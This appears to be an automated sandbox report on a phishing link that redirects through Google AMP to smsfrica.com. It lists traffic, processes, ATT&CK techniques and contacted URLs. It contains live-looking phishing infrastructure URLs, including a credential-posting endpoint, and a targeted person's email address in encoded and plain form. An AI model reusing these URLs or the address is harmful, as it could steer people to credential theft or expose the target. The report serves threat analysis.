Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.118.8.139:443 -> 192.168.2.17:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.17:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.24.82:443 -> 192.168.2.17:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.17:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49764 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.win@19/145@49/21

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1988,i,5893352865044543850,9096576195089460622,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1988,i,5893352865044543850,9096576195089460622,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://promisesaplus.com/#point-64	0%	URL Reputation	safe
https://promisesaplus.com/#point-61	0%	URL Reputation	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
https://promisesaplus.com/#point-59	0%	URL Reputation	safe
about:blank	0%	Avira URL Cloud	safe
https://promisesaplus.com/#point-57	0%	URL Reputation	safe
https://promisesaplus.com/#point-54	0%	URL Reputation	safe
https://smsfrica.com/cgi-sys/images/404mid.gif	100%	Avira URL Cloud	phishing
https://gners4life.site/next.php	0%	Avira URL Cloud	safe
https://smsfrica.com/QlS4h/?x=YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	100%	Avira URL Cloud	phishing
https://smsfrica.com/favicon.ico	100%	Avira URL Cloud	phishing
https://www.rubinoviaggi.it/read1.js	0%	Avira URL Cloud	safe
https://www.gstatic.c..?/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__.	0%	Avira URL Cloud	safe
https://smsfrica.com/cgi-sys/images/404bottom.gif	100%	Avira URL Cloud	phishing
https://getbootstrap.com)	0%	Avira URL Cloud	safe
https://www.rubinoviaggi.it/read1.js	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	unknown
www.google.co.za	142.251.35.163	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
google.co.za	142.250.80.35	true	false	high
cos.sa-saopaulo.myqcloud.com	43.157.144.205	true	false	high
gners4life.site	162.241.71.126	true	false	unknown
ger.file.myqcloud.com	162.62.150.187	true	false	high
code.jquery.com	151.101.130.137	true	false	high
smsfrica.com	192.185.112.107	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
www.google.com	142.250.65.164	true	false	high
www.rubinoviaggi.it	178.63.61.164	true	false	unknown
part-0012.t-0009.t-msedge.net	13.107.213.40	true	false	unknown
gners4life-1323985617.cos.eu-frankfurt.myqcloud.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	unknown
use.fontawesome.com	unknown	unknown	false	high
nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/nwfkh03tev.html?e=amromano@steinborn.com	false		high
https://www.google.com/recaptcha/api2/userverify?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://smsfrica.com/cgi-sys/images/404mid.gif	true	Avira URL Cloud: phishing	unknown
about:blank	false	Avira URL Cloud: safe	low
https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=07g0mpPGukTo20VqKa8GbTSw	false		high
https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/favicon.ico	false		high
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA5jjbmJOVjgho_5e1jWnVV-oQw3meDbcEFKXcZhEv4f7mveZl2oHT5bwlhR7jzGWXdDkSdk2G-Qb0wY27mQ15Zd4SXM9EnKFc2Pex7Z5IVZgjuId-oVQrBH1b2yaqHYZnQLWWr_kc6J5zoVuG3jkRb7FiGqzMX5abhQygS5hOzv17Lutr6Y6sG7mSvDg_gyx8EkS-qTui8GrFLUobBSf7jTWSJ8Jg&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=41a4f21ecb783bb3	false		high
https://gners4life-1323985617.cos.eu-frankfurt.myqcloud.com/bootstrap.min.js	false		high
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA7mqDTn3XTDJiy_EmMPxD0ZOmP_jwgiGtQJ-M5rVzwRXeqt_92s4AtDlghbN-vrvsKXyutgx221iYkBIonnmuGd8v9Rk-_I5ha3Q6zbzda6i5-n_zdgKValxTj1I9WTL6qH43PXjUQQAX_krneHTNPIdJMIpfcyldUyeqBhN3tOIIkPeh1M3PN77XJukqRMSdJzZO_JPOayB4Ob5PVmaov2Ft1L8Q&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://gners4life.site/next.php	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high
https://smsfrica.com/QlS4h/?x=YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	false	Avira URL Cloud: phishing	unknown
https://www.google.com/favicon.ico	false		high
https://www.google.com/js/bg/aczUY4RjooCOJhduSGOgZIptSUq0McxgcoTPQeOupCI.js	false		high
https://smsfrica.com/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://www.google.com/sorry/index	false		high
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=2	false		high
https://www.google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	false		high
https://www.google.com/recaptcha/api2/reload?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	false		high
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	false		high
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA4BcxoE_I4LFIN1HO0cmaE9XHtZLfP2L5diLtzbOKdoXTHYQGRhCxaGx4w6hEGJdFPYLkHCYPolgYbvkdPQy3ewkgTPu2G4tQd5_-llYOZN7XTVs98RoCumRlYyUmD8di-Qpuk3Z1oWtuLqzRMlLRDT4Zz4lTSfLjLQKkHQ936rhb6bH8tCOCdQR8sZhk-ksLT2-ubRCNBSRv4VRboJfcV0W4EMqA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=58d7975494f28ad0	false		high
https://www.rubinoviaggi.it/read1.js	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	false		unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&s=71_GyNisCrzVl5tMGlh4uwt-iGo8dD_dRqzNJECxMJzp6EooJwD2Niqp9UV_FVrYCxUQdeZ-5PnBGu1eKs7OwhWy0Ry2-wLV7LD6ocK5f1v982B1O4Y9_lrqyGbPdTvv3FHWr5CeFfavu0HI3J7rzOyEPTPyUtVQoGM8ppfd7ty-no9y4WbN1Z-6VqqVvLkmLerrzPnGFc6dBn1CAeYxCzUO0WCnYHdBq257V81dzsTex7CSMUiYYGjol031t2GoT-WWpQfje22HavvHeltY0wQUIUECToo&cb=pgetjf101dfd	false		high
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O&co=aHR0cHM6Ly9zbXNmcmljYS5jb206NDQz&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&cb=um8bxu9180ki	false		high
https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	false		high
https://www.google.com/recaptcha/api.js	false		high
https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==#	false		unknown
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://smsfrica.com/cgi-sys/images/404bottom.gif	false	Avira URL Cloud: phishing	unknown
https://www.google.com/recaptcha/api2/reload?k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O	false		high
https://www.google.com/recaptcha/api2/userverify?k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O	false		high
https://code.jquery.com/jquery-3.3.1.js	false		high
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA5g_6J-oVyZGxTOqGvfinWuimROArHBxL7hy3JP51a5UXfeSXr9kNyijYt-nth_bE1vMP8IgMf1ABLY20nwERtZno2huybA-R7oP9Jh97ndor8CK-RTVXyTKFUm23hzSjZk4vwLcbW2D1XwUdOeBd5tq_ejvJO56XXf5LR8XerMEEmlgQtfSH_AxNpDgTds3fIXnbrA5aIBglkJx3e4Ca3bB4Gs-w&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=79357a75a0682f47	false		high
https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	false		high
https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	false		high
https://support.google.com/recaptcha#6262736	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	false		high
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_160.1.dr	false		high
https://promisesaplus.com/#point-75	chromecache_160.1.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_160.1.dr	false		high
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_160.1.dr	false		high
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_160.1.dr	false		high
https://fontawesome.com	chromecache_126.1.dr	false		high
https://github.com/eslint/eslint/issues/6125	chromecache_160.1.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_160.1.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_168.1.dr	false		high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_160.1.dr	false		high
https://support.google.com/recaptcha/#6175971	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_160.1.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_160.1.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_184.1.dr	false		high
https://bugs.jquery.com/ticket/13378	chromecache_160.1.dr	false		high
https://promisesaplus.com/#point-64	chromecache_160.1.dr	false	URL Reputation: safe	unknown
http://code.jquery.com/jquery-3.3.1.min.js	chromecache_167.1.dr	false		high
https://promisesaplus.com/#point-61	chromecache_160.1.dr	false	URL Reputation: safe	unknown
https://support.google.com/recaptcha	chromecache_116.1.dr	false		high
https://www.apache.org/licenses/	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	false		high
https://jsperf.com/getall-vs-sizzle/2	chromecache_160.1.dr	false		high
http://gmpg.org/xfn/11	chromecache_167.1.dr	false		high
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	false		high
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_160.1.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_116.1.dr	false		high
https://jquery.com/	chromecache_160.1.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_168.1.dr	false		high
https://github.com/jquery/sizzle/pull/225	chromecache_160.1.dr	false		high
https://sizzlejs.com/	chromecache_160.1.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_160.1.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_160.1.dr	false		high
http://jquery.org/license	chromecache_160.1.dr	false		high
https://jsperf.com/thor-indexof-vs-for/5	chromecache_160.1.dr	false		high
https://bugs.jquery.com/ticket/12359	chromecache_160.1.dr	false		high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_160.1.dr	false		high
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_160.1.dr	false		high
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_160.1.dr	false		high
https://cloud.google.com/contact	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	false		high
https://fontawesome.com/license/free	chromecache_126.1.dr	false		high
https://github.com/jquery/jquery/pull/557)	chromecache_160.1.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_160.1.dr	false		high
https://www.gstatic.c..?/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__.	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	false	Avira URL Cloud: safe	low
https://www.google.com/recaptcha/api2/	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_143.1.dr, chromecache_116.1.dr, chromecache_139.1.dr	false		high
https://drafts.csswg.org/cssom/#resolved-values	chromecache_160.1.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_160.1.dr	false		high
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	false		high
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_160.1.dr	false		high
https://recaptcha.net	chromecache_116.1.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-59	chromecache_160.1.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-57	chromecache_160.1.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/3229	chromecache_160.1.dr	false		high
https://promisesaplus.com/#point-54	chromecache_160.1.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_160.1.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_160.1.dr	false		high
https://jquery.org/license	chromecache_160.1.dr	false		high
